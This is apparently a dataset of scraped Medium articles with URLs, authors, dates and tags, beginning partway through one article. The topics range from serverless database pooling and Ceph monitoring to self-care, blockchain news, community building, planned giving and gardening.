Creating an action plan, Truitt says, gives your thinking brain something to grab onto in a worst-case scenario so your amygdala, the part of the brain that deals with emotions, doesn’t totally take over. “Having a routine in place buffers the amygdala’s need to take control because you’re putting one foot in front of the other with agency, which is the greatest buffer for hopelessness,” she says. “When the fear part of the brain is having a hard day, taking action can let it know that we’re okay, even though the world feels really hard.”
So, ahead of the election, start to think about how to create your own buffers. Which parts of your daily life would feel most burdensome to you when you’re deflated? Start by tackling the practical stuff: Would it help to make and freeze a few meals or sign up for food delivery? What about doing laundry or dishes or stocking up on your favorite beverage before November 3?
Solidarity and connection can also help take the edge off hopelessness, so get a post-election Zoom call (or a masked in-person meetup) with a supportive loved one on the calendar now.
And know that if things do turn out okay, all your planning won’t be in vain: Just use those resources to celebrate instead. Luckily, a drink with a friend works either way. | https://forge.medium.com/make-your-election-week-plans-as-boring-as-possible-ef32c18ddf96 | ['Ashley Abramson'] | 2020-11-02 21:55:32.802000+00:00 | ['Mindfulness', 'Mental Health', 'Productivity', 'Elections', 'Self'] |
Hot Database Connections for Serverless Functions | Illustration: Oracle Function instances connecting to an Autonomous Database (ATP-S) instance
Preamble — Problems to Solve
Firing up new Serverless containers — a.k.a. cold start — takes from one to several seconds (time varies per platform); to eliminate such cost/latency, Serverless frameworks keep already started containers warm for a period of time (duration varies per provider).
Serverless functions might make database access. Although less costly than starting new Serverless container, database connection creation and tear down may cost tens or even hundreds of milliseconds depending on your DBMS environment. This problem is exacerbated with Serverless functions that are are short-lived and cannot afford such cost on every call.
The first problem to solve is avoiding connection creation and tear down.
The other problem to solve, as connections cannot be pooled/shared cross containers, is the impact of auto-scaling and high concurrency that is thousands of concurrent Serverless functions calls, in the face of a fixed number of database connections.
The discussion, solutions, and best practices in this post are based on Java but apply to all languages supported by your Serverless infrastructure (for example Oracle Functions supports Java, Go, Node.js, Python and Ruby).
Avoiding the Connection Creation/Tear-Down
Reusing an existing connection takes only a sub-up-to-a-couple milliseconds however, each instance of a Serverless function runs in a separate container with a single database connection therefore, those connections cannot be pooled and shared across containers.
Fortunately, Serverless containers are kept around for several minutes upon the end of the function call; in addition, the Serverless programming model allows the reuse of execution context and states declared outside of the handleRequest(), the entry method which is invoked at every call.
Class states declared outside of the handleRequest() method.
We can cache the single database connection (that is a pool of size 1) in the class constructor for reuse by the next calls as long as the container sticks around.
A conn cache per container
Setting up a UCP pool of size 1, in the class constructor, outside of the handleRequest() method
The complete Java code of my adb-ucp function is adapted from Todd Sharp’s post on “Oracle Functions — Connecting To An ATP Database”.
The complete Serverless function Java code.
Todd’s post contains all the steps (not duplicated here) for configuring, deploying and invoking Oracle Functions and the ATP-S database including the connect strings, Cloud credentials, and so on. I’ve replaced the query on the EMPLOYEES table with a query on ALL_TABLE (a dictionary table) thereby removing the need to create a table before running the example. I named both the application and the function “adb-ucp”, and measured the time to retrieve a connection from the pool, that is the getConnection() method call.
The following commands let you deploy and invoke the function:
Deploying and invoking adb-ucp
As Serverless functions display only the returned data, to see the logs and printouts, you need to subscribe to a logging service such as the Oracle Cloud Infrastructure Logging Service or PaperTrail.
Setting up a pool of size 1 in each container avoids connection creation and tear-down however, this results in a one to one mapping between function instances and database sessions; some inactive/warm functions might even be holding onto database connections. Such solution works well for small scale deployments but will eventually incur wait or exception in large scale deployments where the number of concurrently active or warm function instances is larger than the finite number of available database sessions.
Sustaining Auto-Scaling/High Concurrency
As indicated in the preamble, setting up a pool of one dedicated connection in each container prevents pooling/sharing connections across containers; this one-to-one mapping between containers and RDBMS sessions will not and cannot sustain large scale deployments with high concurrency of Serverless functions. The assumption is that not all these functions are making database access simultaneously and that they relinquish the connection when no longer needed — otherwise, this will defeat sharing.
Several solutions exist including: proxy connection servers such as Oracle’s CMAN-TDM (Connection Manager in Traffic Director Mode, this feature is currently not a Cloud service) and MySQL Router; also RDBMS-side connection pool such as Oracle’s Database Resident Connection Pool (DRCP).
These solutions have in common the ability to pool database sessions, across middle-tiers and containers.
Serverless Functions and Database Resident Connection Pool
DRCP is enabled by default with ATP-S. Clients, middle-tiers and containers are “connected” to the connection broker which dispenses idle database sessions, on demand. The connection broker does not stay in the loop upon associating the requestor with an idle database session; closed connections are returned back into the pool.
DRCP — Sharing connection across containers
The ATP-S database furnishes, out of the box, 5 service profiles: high, medium, and low for Reporting or Batch; tp and tpurgent for OLTP. These tnsnames.ora aliases or entry points are similar to JNDI names and hide/virtualize the details of the database services.
Let’s walk through the steps for configuring and using DRCP with the same Oracle Function used in one-to-one mapping, above.
Aliases of my tnsnames.ora generated for my ATP-S database (named OFunctions)
Download the Cloud client credentials (see step 1 “Download ATP Wallet” in Todd’s post) and unzip into a local folder Edit the tnsnames.ora file to add a new alias with a DRCP reference (alternatively, you may modify one of the 5 original aliases). In my test, I’ve created a new entry named ofunctions_tpurgent-DRCP, by duplicating the ofuntions_tpurgent description and adding “(SERVER =POOLED)” to the CONNECT_DATA section then saved the tnsnames.ora file.
New alias for using DRCP and tpurgent
3. Upload the wallet (again if already done), including the updated tnsnames.ora, as described in . step #2 “ Upload wallet to a Private Bucket in Object Storage” in Todd’s post. In fact I’ve made this change even before uploading the Wallet in the previous section/solution (added a new entry), so I did not need to re-upload it.
4. Update DB_URL in the function configuration to use the new alias as follows
As the function was already deployed, making changes to the config will pick up the new URL and the DRCP. The next step consists in simply invoking the function as in the previous section. You are still using a pool of size 1 in each container however, these pools are attached to the Connection Broker, not to database sessions. There is an additional (or two) millisecond latency with DRCP — compared to using pool of size 1 exclusively — this is the price for going through the connection broker however, you get the benefit of pooling database sessions across all containers connecting to the same ATP-S instance thereby allowing to sustain high concurrency. No idle connection held by warm containers as in non-DRCP case.
Summary
I’ve walked you through the solutions to the problems to solve stated in the preamble that are: (i) avoiding connection creation and tear down at every function call; and (ii) sustaining high concurrency in the face of a finite number of database sessions.
It is obvious that the first database connection request in the life of a container will pay a higher price but subsequent calls get free lunches, or almost!!. | https://medium.com/oracledevs/hot-database-connections-for-serverless-functions-9f9e8a681df6 | ['Kuassi Mensah'] | 2020-03-25 12:53:58.818000+00:00 | ['Functions As A Service', 'Scalability', 'Java', 'Oracle', 'Serverless'] |
Sending metrics directly from Ceph to Influx | Sending metrics directly from Ceph to Influx
After this sad bug in telegram (some Ceph metrics are missed for newer version of Ceph) I was delighted to find that Ceph (ceph-mgr to be precise) can send metrics directly into influx. I’m giving instructions for Luminous.
Configuration
There is one big WTF issue in this setup: it has a hidden dependency. If this dependency is not installed, no data will be send. It’s a python-influxdb . Install it before doing anything else on all mgr hosts.
After you’ve setup this dependency, enable influx module.
ceph mgr module enable influx
Restart all mgr services (if you have a normal installation, it’s at least three of them).
And provide a configuration to it:
ceph influx config-set {{item}} {{value}}
options list:
— username
— interval
— database
— hostname
— ssl
— verify_ssl
— password
— port
The ‘influx’ command will appear only and only if you have enabled influx module and this module can import influxdb client. If it can’t, it silently fails. Moreover, you must to restart all ceph-mgr instances after you’ve enabled the module.
After you’ve configured everything you can check if it works:
ceph influx send
You should get confirmation and two measurements should appear in influx:
ceph_daemon_stats
ceph_pool_stats
ceph_daemon_stats has per-daemon information. Depending on a daemon type it would be osd-related or mon related info (mgr is there too, and mds, etc).
ceph_pool_stats has pool-related stats.
Those are more than enough for most purposes of having ceph metrics. The single exception I find is a ceph health report which I gather as a normal metric, because it so nice to show on dashboards… | https://medium.com/opsops/sending-metrics-directly-from-ceph-to-influx-e43d527cd8a9 | ['George Shuklin'] | 2019-02-14 09:28:01.828000+00:00 | ['Influxdb', 'Telegraf', 'Monitoring', 'Ceph', 'DevOps'] |
Autonomous cars: How to build your fleet (while minimizing your investment) | Autonomous cars: How to build your fleet (while minimizing your investment)
Waymo has just opened its small-scale robotaxi service in Phoenix Arizona. GM is about to start testing fully driverless cars in San Francisco. Motional might well do the same within a few months in Las Vegas.
If everything goes well, the next step might well be how to turn these tests into real businesses. One of the main difficulties will then be to finance the fleet, at minimum risk, while keeping full control.
In this respect, Tesla has already a long time ago explained its strategy (it might finally have another plan, though).
Tesla has sold a very large number of cars to its customers. Many of these cars are, at least in principle, self-driving ready.
When full self-driving on Teslas will be available ( which hypothetically might be a matter of months), Tesla has planned then to propose to its customers to turn their cars into robotaxis. Tesla would include them into its fleet of robotaxis, ‘the Tesla network’: The cars would then produce revenues for their owners. And for Tesla.
A very attractive promise of course for Tesla buyers.
Now, on December 4th, during the ‘Future of the car’conference organised by the Financial Times, John Krafcic Waymo’s CEO mentioned that Waymo envisages a similar business model for its fleet of self-driving cars.
More specifically, John Krafcic explained that Waymo is assessing a business model in which customers could subscribe to a fully automated car (having the ‘Waymo driver‘) for a period of 6 or 12 months and could, after that period, stop the subscription.
This first period would make it possible to amortize part of the car.
The car would then be included into the Waymo fleet, in which it would be operated as a robotaxi. Since the mileage that you can expect of such a car can be 300 000, 500 000 or even 1 million miles, amortizing the car and its self-driving system would then be fairly trivial.
Mr Krafcik added that, based on >2$/mile for ride-hailing rides today, the economics of such activity seem quite promising.
Accordingly, although for transporting people, self-driving vehicles will probably be mainly used as shared vehicles (robotaxis, shuttles,..), if this approach becomes reality, we might possibly soon have the possibility to actually buy (or at least to subscribe to) fully autonomous cars.
Selling these cars will be selling much more than a car.
Well, sure, it will often be selling a car.
But in many cases, actually, it will rather be selling a financial product, an investment: It will be selling you the stream of future revenues that you will (possibly) achieve if you invest in that car: “Invest in my car (or my fleet)”, the message will say; “you will make money; more with my car(s) than with any competitor’s”.
And this is how the race to build robotaxi fleets at scale will go.
It is our choice now to let or not this race go on unregulated. We can conversely adopt rules (in particular, road usage charge) in order to preserve our public transit, our public space, our cities. | https://medium.com/@BertrandDuflos/autonomous-cars-how-to-build-your-fleet-while-minimizing-your-investment-f28f8680bc0f | ['Bertrand Duflos'] | 2020-12-15 22:22:26.051000+00:00 | ['Self Driving Cars', 'Autonomous Vehicle Market', 'Transportation'] |
Rainy Day Drive | In the silent hours spent looking out the passenger seat window at the wet lit dark of sideways time, the cogitations that have passed through the minds of ten billion non-believers have rendered plain the immutable proof of the eternal spirit called Almighty Living God.
As rubber throws droplets to the wind. | https://medium.com/literally-literary/rainy-day-drive-a4390d109920 | ['John Gillen'] | 2020-12-12 05:32:25.582000+00:00 | ['Literally Literary', 'Rain', 'Poetry', 'Life', 'God'] |
Blockchain Report — 11/29/2018. Summary: South Carolina Real Estate Is… | Summary: South Carolina Real Estate Is Being Put On The Blockchain; Coinbase Wallet Now Supports Ethereum Classic; Ethereum Founder Says Some Companies Are Using Blockchain For Marketing Hype
Watch: Latest Episode of Blockchain Report on YouTube
South Carolina Real Estate Is Being Put On The Blockchain
According to Fortune, U.S. investors will now be able to purchase South Carolina real estate on the blockchain in the form of tokens. These tokens represent partial ownership in a luxury student housing location called The Hub. The Hub will be for students of the University of South Carolina.
This sort of investment offering is the first of its kind — it is the first ever real estate that investors can purchase in the form of tokens. The project is run by Convexity Properties, which aims to raise $20 million in a token sale. Accredited investors will be able to buy tokens of The Hub for $21,000 or more. These tokens will eventually be able to be sold on cryptocurrency exchanges.
The CEO of Convexity Properties, Don Wilson, said that a student residence was chosen as its first blockchain offering because it is an easy to understand investment. The Hub tokens will also provide a 5% dividend on the real estate.
Coinbase Wallet Now Supports Ethereum Classic
According to Cointrust, Coinbase is now offering support for Ethereum Classic on its Coinbase Wallet. After this addition, Coinbase will now support Ethereum, Ethereum Classic, and 1,000s of other ERC20 tokens made with Ethereum.
The Coinbase Wallet platform will gradually update after a few days, after which point clients will be able to see their Ethereum Classic balance as well as receive and send Ethereum Classic from Coinbase. In a blog post, Coinbase writes:
“As part of our mission to be the easiest and most trusted crypto wallet, we plan to add support for even more blockchains in the future.”
What’s incredibly useful is that the Ethereum Classic wallet address is the exact same as the Ethereum address. That means if somebody accidentally sent Ethereum Classic to their Ethereum address before, they’ll be able to use it after the upgrade is completed.
The addition of Ethereum Classic shouldn’t be a surprise to most, considering that Ethereum Classic was added to Coinbase Pro in August.
Ethereum Founder Says Some Companies Are Using Blockchain For Marketing Hype
According to Ethereum World News, Ethereum founder Vitalik Buterin said that current “gold rush” that is occurring when it comes to blockchain technology, where many companies want to integrate and use the technology, can occasionally lead to wasted time. Buterin said in an interview:
“Sometimes it is for marketing hype. Sometimes it is just people who are genuinely excited about blockchains and want the thing they are personally excited about and their job to align more with each other, which is a totally legitimate, human thing to want to do.”
Buterin also said that he believes that the main industries that will massively benefit from blockchain technology are cross-border payments and transactional-based cryptocurrencies.
Buterin also decried the practice of IBM and other large tech companies that use proprietary blockchains. He said that companies that own the intellectual property for their blockchain technology are missing the point of blockchain and decentralization.
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- Telegram 💬: https://t.me/blockchainreportnews | https://medium.com/blockchain-report/blockchain-report-11-28-2018-47af47e42cfb | ['Christopher Durr'] | 2018-11-29 15:38:02.380000+00:00 | ['Blockchain', 'Cryptocurrency', 'Ethereum', 'Investing', 'News'] |
Apollo Federation in Golang | What Is Apollo Federation?
Apollo Federation is a technology that allows you to compose multiple GraphQL services into a unified data graph.
Apollo Federation can expose one graph for all of the data in service without experiencing heavyweight development or a large code base like a monolithic architecture.
It enables us to collaborate with multiple teams on shared data and to separate concerns to work on any features without interfering with each other.
The idea of this is based on microservice architecture, so you can divide the implementing graphs across multiple composable services. | https://betterprogramming.pub/apollo-federation-in-golang-2b5912e774dd | ['Manato Kuroda'] | 2020-12-29 17:25:12.471000+00:00 | ['GraphQL', 'Golang', 'Database', 'Programming', 'Apollo'] |
Loving Others | My focus today is loving others in God’s light.
Sometime last year, I had a discussion with my fellow Bible Study coordinators based on Matthew 22:39, which says, “And the second is like it: ‘Love your neighbor as yourself.’ ” It was a question of ‘Should we glorify self love or Jesus’ love?’ This came up because at that point in the semester, the idea of self love preceding the love for others began to be emphasized, and we needed to see things from God’s Word. So we embarked on what I would call a mini research project (Bible Study for short).
I’d like to bring out a few Bible verses and then talk about them.
‘Hearing that Jesus had silenced the Sadducees, the Pharisees got together. One of them, an expert in the law, tested him with this question: “Teacher, which is the greatest commandment in the Law?” Jesus replied: “‘Love the Lord your God with all your heart and with all your soul and with all your mind.’ This is the first and greatest commandment. And the second is like it: ‘Love your neighbor as yourself.’ All the Law and the Prophets hang on these two commandments.” ’ — Matt 22:34–40 [NIV]
‘If then there is any encouragement in Christ, if any consolation of love, if any fellowship with the Spirit, if any affection and mercy, fulfill my joy by thinking the same way, having the same love, sharing the same feelings, focusing on one goal. Do nothing out of rivalry or conceit, but in humility consider others as more important than yourselves. Make your own attitude that of Christ Jesus,’ — Philippians 2:1–5 [HCSB]
‘Live a life filled with love, following the example of Christ. He loved us and offered himself as a sacrifice for us, a pleasing aroma to God.’ — Ephesians 5:2 [NIV]
Beloved, let us love one another, for love is of God; and everyone who loves is born of God and knows God — 1 John 4:7 [NKJV]
Before you read further, please read these verses again and attempt to digest them (that’s if they’ve not already entered) | https://medium.com/nwamaka-ezeanya/loving-others-c7c09016f03f | ['Nwamaka Ezeanya'] | 2019-04-01 11:09:53.465000+00:00 | ['Love Yourself', 'Christianity', 'Love Others'] |
Community profile: MakeSense | A few months ago I sat down with my dear friend Christian Vanizette, co-founder of MakeSense. MakeSense is a global community of 40'000+ engaged citizens across the globe working on social change initiatives in 45 cities, run by 2500 community volunteers with a staff of 80 people in 8 offices across the globe. The scale, approach and impact of MakeSense is impressive and full of learning opportunities for other community builders.
A Tahitian social entrepreneur
Christian grew up in French Polynesia in a socially conscious family: his grandfather set up the first social security system in Tahiti and his parents were public servants. Already at a young age Christian started engaging with social issues: with 15 he started an anonymous blog discussing local politics and the island’s social and environmental issues. To challenge himself and break away from island life, Christian moved to Europe to study and then worked for a variety of innovative companies, learning about design thinking, creativity and business incubation processes, all of which would influence his entrepreneurial path.
It all started with a journey to “make sense” of social entrepreneurship
Christian Vanizette, co-founder
Inspired by Muhammad Yunus’s book about social business, Christian embarked in 2010 on a backpacking trip across Asia to meet social entrepreneurs and help them solve their challenges. Christian started making short videos on his phone about the social entrepreneurs he was meeting and put them on Facebook and his personal blog, www.makesense.org. And every city he went to, he organized a workshop that followed a simple format: during 3 hours he would bring together citizens eager to work on local social and use a design thinking process to come up with solutions for the concrete challenge of a local social entrepreneur.
When posting his findings online, people started reaching out to Christian, asking how they could get involved. And when he posted photos of the workshops, people asked how they could organize their own workshops. Christian could tell that there was a huge, untapped hunger of young people across the globe what wanted to use their energy and creativity for social good. Most of them were probably never going to be social entrepreneurs themselves, but they wanted to support social entrepreneurs, and ideally in tangible ways.
MakeSense is born
So Christian wrote a 5 page PDF template that explained how to organize a design thinking workshop to solve a social entrepreneur’s challenge. ( Here is version 3 of that template, 7 months into the MakeSense journey). And then he encouraged anyone to organize their own. People who attended a workshop started to organize one themselves. People reading about it online started organizing workshops across the globe. And slowly but surely one event turned into a series of local events, and that turned into groups of local enthusiasts that wanted to meet regularly in their local cities. The MakeSense community was born and has by now a global footprint. And Muhammad Yunus featured MakeSense in his last book “ A World of 3 Zeros “ as an example on how to build a community of young people for social business — full circle!
How local chapters are structured
SenseCamp2017
MakeSense calls their local chapters “ hotspots” (and their community members “ gangster “ ;-)) and by now MakeSense has 130 hotspots in 45 countries, all run by volunteers. Every hotspot has 2 main goals: 1) To raise awareness around social issues. 2) To activate people and engage them in concrete action for social good.
What unites the MakeSense community is their shared belief in social change and their willingness to take action. And everything within the community is organized around a list of social campaigns, based on the UN’s Sustainable Development Goals. In a first step local hotspots use art to raise awareness around the campaign issues. They organize concerts (called MakeSense Rooms), where they invite artists that are connected to a particular social issue to perform. This is a great way for them to spread the word and recruit new volunteers. They also organize bigger, barcamp style retreats once a year that they call “ SenseCamp “.
In a second step they engage local citizens to take action through design thinking workshops (still based on the original idea, but now with extended support of the social entrepreneur and their ventures that goes beyond the actual event), prototyping workshops and a social venture incubator hosted at their regional offices with full time staff in Paris (for Europe), Beirut (for the Middle East), Dakar (for West Africa), Mexico (for Latin America) and Manilla (for South East Asia).
The crucial role of global cross-pollinators between the different local hubs
Photo from 2017, when Nobel laureate Muhammad Yunus stopped by at the MakeSense office in Paris
When learning about MakeSense’s growth and development, I was inspired by how intentionally they use “cross-pollinators” who bring the experiences and values of MakeSense to different local communities. When Christian set out on his first backpacking trip, he called it a SenseTour, as he was trying to “make sense” of social entrepreneurship, going from city to city. And he realized that this personal connection in real life made a huge difference for their online community, too. Christian: “The people who were most active online, were the ones we had met in real lives”.
On his trip, not only did he help spark excitement among local change agents, he helped them also connect with peers in other cities. And — most importantly — he gave them a sense that they were part of something bigger, a global movement. In Christian’s words: “We were just connecting the dots”.
That’s why to this day, backpackers are an amazing type of ambassador and evangelist for MakeSense. So if you’re a backpacker and eager to go and spend 6 months in South America, but you want to be more than just a tourist and deeply engage with local social entrepreneurs, MakeSense will help you organize your own “SenseTour”. They will train you how to organize workshops wherever you go and connect you with the local community so that you can stay with locals. As backpackers move from MakeSense hotspot to the next, they become the nodes of trust in this global community. Current and past SenseTours can be found here http://sensetour.makesense.org
The crucial role of volunteer training
In our conversation, there was one insight that stood out to me: MakeSense invests very heavily into training its volunteers. For a community that large and that dependent on volunteers, they see training as absolutely crucial for the groups sustainability, quality and growth. And MakeSense realized that training could be valuable not just for the organization, but for the volunteers as well: the community can provide a rich learning experience where the volunteers gain valuable skills that they can use in their work elsewhere.
MakeSense has developed two different types of training programs, each lasting 3 months: one is for people wanting to start a new local hotspot, the other one is a leadership training for existing chapter leaders. While the training happens online, the organization wanted to make sure that it feels human. That’s why the training happens in cohorts and is taught in a peer-to-peer way: the best graduates from the previous cohorts are invited to help teach in the next cohort. Not just organizational, but also personal sustainability are part of the curriculum: the training covers community building from a holistic point of view, including questions of personal balance and energy management.
The importance of collective leadership and intentional governance
MakeSense stresses the need for collective leadership and non-hierarchy based governance both on the chapter-level and as an organization overall. Over the last few years, they have implemented a model based on Teal Organization, inspired by Frederic Laloux’s book and methodology “ Reinventing Organizations “. All decisions are made based on consent, which in Christian’s words took some time to be adapted, but has increased the engagement across the community. That is another reason why training is important, so that chapter coordinators can be trained in this governance methodology.
People join to have impact, they stay for the relationships and that’s where they have the biggest impact
Christian said: “people often come to MakeSense to solve social problems, and then they come back and stay engaged because of the relationships they build”. I found that so fascinating and something I observe similarly in other communities: while there is a specific reason that attracts people to join a community in the first place and binds them together (in this case a shared hunger for social action), it is really that sense of belonging and trust that makes the group uniquely powerful and valuable over time. In Christian’s words “the long-term impact of MakeSense comes through the relationships and connections that people build. Solving global social problems requires collaboration and cooperation at large scale. This only happens through trusted relationships that are built over time. This an algorithm can’t give you”.
A non profit financed through partners and client work
MakeSense is a non-profit. It is financed on the one hand by finding corporate sponsors for their big campaign topics. So for example their “Energies for Climate” campaign is sponsored by the French electric utility company EDF. And they have a corporate advisory side where they help corporations drive forward social innovation initiatives. They tap into their diverse network and deep experience with social entrepreneurship and design thinking to solve these challenges for the corporates https://organisations.makesense.org/.
When reflecting on their business model, Christian said that it made sense for them to be a non-profit, “because most value is created by the volunteers” and he also pointed out that running a similar model without the help of a community would cost ten times more and be less effective because their theory of change is based on grass-root engagement.
Impressive engagement metrics
Here are some metrics that stood out to me:
86% of hot spot organizers stay engaged for about 2 years, because MakeSense helps them connect with like-minded people, helps them learn, helps them build a network in an industry they might want to work in.
On average their 40'000 volunteers attend to 2–3 events per year. For 31% of them it’s their first time ever volunteering.
The community has worked with 3200 social entrepreneurs and 80% of them report they are happy with the outcome of the workshops
Organized through Facebook groups
MakeSense is mostly organized through Facebook. The organization runs a big Facebook page. And all local hotspots organize themselves through Facebook groups. And on top of that, each campaign has a dedicated Facebook group as well. This keeps their digital infrastructure simple, yet their activity levels fluctuate with the Facebook algorithm: when Facebook wants to give more visibility to their pages and groups, their online groups become more active. And vice versa. | https://medium.com/together-institute/community-profile-makesense-7a19de501c7b | ['Fabian Pfortmüller'] | 2019-12-26 03:58:34.067000+00:00 | ['Community Profile', 'Leadership', 'Community Engagement', 'Community', 'Network'] |
What a $154 Disneyland Ticket Snub Showed the Most Powerful Woman in Television | What a $154 Disneyland Ticket Snub Showed the Most Powerful Woman in Television
‘Don’t you have enough?’ an ABC executive asked the legendary writer-producer-showrunner Shonda Rhimes
Shonda Rhimes attends the 2019 Vanity Fair Oscar Party hosted by Radhika Jones at Wallis Annenberg Center for the Performing Arts on February 24, 2019 in Beverly Hills, California. Photo: Gregg DeGuire/FilmMagic/Getty Images
It might sound petty.
The legendary writer-producer-showrunner Shonda Rhimes was making tens of millions, and her prime-time shows — Grey’s Anatomy, Scandal, and How to Get Away With Murder — were blockbuster successes, reviving the fortunes of her parent network, ABC. Sure, Rhimes was tiring of the constant battles with her employer, according to a new interview in The Hollywood Reporter. But it was a small snub from an executive over a $154 Disneyland day pass that was the last straw.
As Lacey Rose writes in THR, Rhimes was entitled to two Disneyland passes as a perk of her employment. She had asked for an additional pass for her sister, who wanted to take her children and their nanny to the park for a day while Rhimes was working:
After some unwanted back-and-forth — “We never do this,” she was told more than once — Rhimes was issued an additional pass. But when her daughters arrived in Anaheim, only one of the passes worked. Rhimes lobbed a call to a high-ranking executive at the company. Surely, he would get this sorted. Instead, the exec allegedly replied, “Don’t you have enough?” Rhimes was beside herself. She thanked him for his time, then hung up and called her lawyer: Figure out a way to get her over to Netflix, or she’d find new representatives.
The rest, as they say, is history: Rhimes inked a paradigm-shifting $150-million deal with Netflix, changing the TV landscape forever.
So why the fuss over an amusement park ticket that Rhimes could have easily afforded? It was far more than a meaningless tantrum. Despite her well-earned exalted status at ABC, the microaggression that Rhimes experienced showed her exactly where she stood in the company she had helped revive. That’s vital information.
The incident brings to mind the famous “no brown M&Ms” clause on the rider for Van Halen’s 1982 world tour, which specified that the band wanted a bowl of the candy in their dressing rooms — with all the brown M&Ms meticulously removed. Often used as an example of rock star excess (especially after the band reportedly trashed a concert hall after finding brown M&Ms in the bowl), the clause actually served an essential safety purpose: In a massive, technically complex traveling extravaganza like a Van Halen concert, every detail mattered. To rely upon a venue’s rigging, electrical work, and safety measures, the band needed to trust its staff to sweat the small stuff. As frontman David Lee Roth explained in his autobiography (via Snopes):
So, when I would walk backstage, if I saw a brown M&M in that bowl… well, line-check the entire production. Guaranteed you’re going to arrive at a technical error. They didn’t read the contract. Guaranteed you’d run into a problem. Sometimes it would threaten to just destroy the whole show. Something like, literally, life-threatening.
A Disneyland ticket snub might not create a pyrotechnics mishap, but it’s similarly indicative of a much bigger problem. As a Black woman in an overwhelmingly White industry, Rhimes knew exactly how to read the exec’s small gesture of disrespect — as a microaggression. And thankfully, it was just the push she needed. | https://zora.medium.com/what-a-154-disneyland-ticket-snub-showed-the-most-powerful-woman-in-television-c3661c97ffb9 | ['Indrani Sen'] | 2020-10-22 16:33:50.101000+00:00 | ['Disney', 'Shonda Rhimes', 'Culture', 'TV', 'Equality'] |
The Other Love | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/catharsis-pub/the-other-love-fa230a68a13f | ['Priyanka Srivastava'] | 2020-12-14 08:13:14.663000+00:00 | ['Writing', 'Empathy', 'Writing Life', 'Poetry', 'Sadness'] |
7 Things I Learned From My First Software Developer Internship | 2. Be empathetic and patient with others
Once I had built trust with my own team, I was given more challenges that were connected across multiple teams. With one of these projects, I was working on creating something that could be published and used by people all across our company. However, this required collaborating with another team in order to get it published into their system
At the time, I didn’t think that it was my project. It wasn’t an idea that I had come up with and there were so many stakeholders and opinions on my code and documentation that it didn’t feel like my work anymore. But that’s not the point. The problem was, I was neglecting my responsibility to communicate with the other team. I just let my project manager do it because he had the connections.
But then, after months of hard work and a lot of writing and re-writing documents, I still had nothing to show for it. Why? Because I had only set up a few meetings with the other team and those never got that far.
However, I can definitely say that this wasn’t entirely my fault. In fact, the other team was even worse. For months they had led me on to believe that they could help me and my team, but every time we asked them questions and booked meetings, they’d send us to a new group of people and we’d have to start all over again. It felt like I was a hot potato being thrown around in circles.
But, once I got annoyed enough with this, I decided that it was time for me to do something about it. So, I booked a meeting with the newest person they had told me to talk to and I learned why I was being treated this way.
It’s not like people want to lie to you and lead you on. It just sometimes happens. What I learned from this person was that their whole team was in an even tougher situation than mine. They were re-organizing everything and everyone. Some projects were being thrown away and others were being prioritized on tight deadlines. Once I learned about that, I stopped being annoyed and all I felt was empathy for the people on that team. Even though they made mistakes and should have communicated the problems they were facing earlier (again, to help build trust), I still had to feel sorry for them.
You have to remember that helping you with your work isn’t the top priority of everyone at your company. People might have other crazier things going on at work or at home that you don’t even know about. All you have to do is ask, and be prepared to be empathetic towards and patient with them. | https://medium.com/intern-club/7-things-i-learned-from-my-first-software-developer-internship-861bfd3ad1c3 | ['Maria Sitkovets'] | 2020-07-06 15:49:48.904000+00:00 | ['Life Lessons', 'Failure', 'Tech', 'Internships', 'Developer'] |
Planned Giving in a Pandemic: A New White Paper from Giving Docs | Today we’re proud to share a new white paper, Planned Giving in a Pandemic, which explores this hopeful trend.
The year 2020 has delivered a bevy of unpleasant surprises, the pandemic being perhaps the most obvious. Unemployment, political division, civil unrest, illness, death… it’s been a rough ride. But despite the dark and stormy chaos, a silver lining has emerged, something that gives us optimism about the human spirit.
What is this silver lining we see shining brightly through the fog of 2020? Generosity.
Contrary to what many would have predicted, it turns out we give more when times get tough. Donations to charities have increased exponentially — in particular, donations to food banks. For example, Fidelity Charitable reported a staggering 667% year-over-year increase in donations to free food programs. Volunteerism in general is happening at unprecedented rates. We may be hurting, but our pain has caused us to take action to alleviate the suffering of our fellow human beings.
But the pandemic has done more than motivate us to give more today. This time of introspection has made us realize we want to make a difference. We want our efforts to last. We want to leave legacies.
At Giving Docs, we’re not surprised by this piece of the puzzle. After all, we invest a lot of time and energy studying human behavior with the intention of supporting causes that promote positive change. We know that giving makes people happier. We also know that increased mortality salience — the ability to sit with the concept that we are mortal and will not live forever — results in positive behavioral changes.
Increased mortality salience has motivated us to take actions we have put off, like making time for the people we love, changing careers to be more purposeful, and leaving legacies through thoughtful and intentional estate plans.
This last piece — increased estate planning — is the impact we at Giving Docs have witnessed personally. At a time when planned giving officers were shy about asking for donations, we have witnessed an increase in both the number of estate plans crafted and the number of bequests to charitable organizations. This shift has heartened us and our partners alike.
To learn more about how the pandemic has positively impacted planned giving and to access an action plan for planned giving officers, see our white paper: Planned Giving During a Pandemic.
Sources:
https://www.investopedia.com/donor-advised-funds-5083681
https://www.businessinsider.com/rising-interest-political-volunteering-action-campaigns-pandemic-2020-8 | https://blog.givingdocs.com/planned-giving-in-a-pandemic-a-new-white-paper-from-giving-docs-5efea2a0e656 | ['Robert Guice'] | 2020-12-04 18:50:33.894000+00:00 | ['Charitable Giving', 'Philanthropy', 'Legacy', 'Planned Giving', 'Charity Marketing'] |
Tips and Tales for Organic Allotmenteers: January — Repotting Succulents and Geraniums | I’ve been loving running two organic allotments in Hainault, Essex, England for five years, and would like to share with you what I’ve learnt. Enjoy!
‘Succulent glory’ by Gemma Boyd
Repot succulents, geraniums and their seedlings
Please note that here I’m referring to succulents such as Jade and Aloe Vera as opposed to cacti. This article by Establish outlines how to tell the difference between succulents and cacti.
Remove as many worms and insects as you can from homemade compost and sprinkle half a pot of it on top of a thin layer of woodchip (which will facilitate good drainage).
Top up the pot to within two centimetres of the rim with organic multipurpose peat-free compost to suppress seeds from your homemade compost germinating alongside the main plant.
Avoid choosing an outsized pot for small cuttings because the temptation could be to overwater / fertilize it. Also the excess surface area will turn into a breeding ground for all kinds of insects.
Keep both succulents and geraniums inside near a bright window until mid-May.
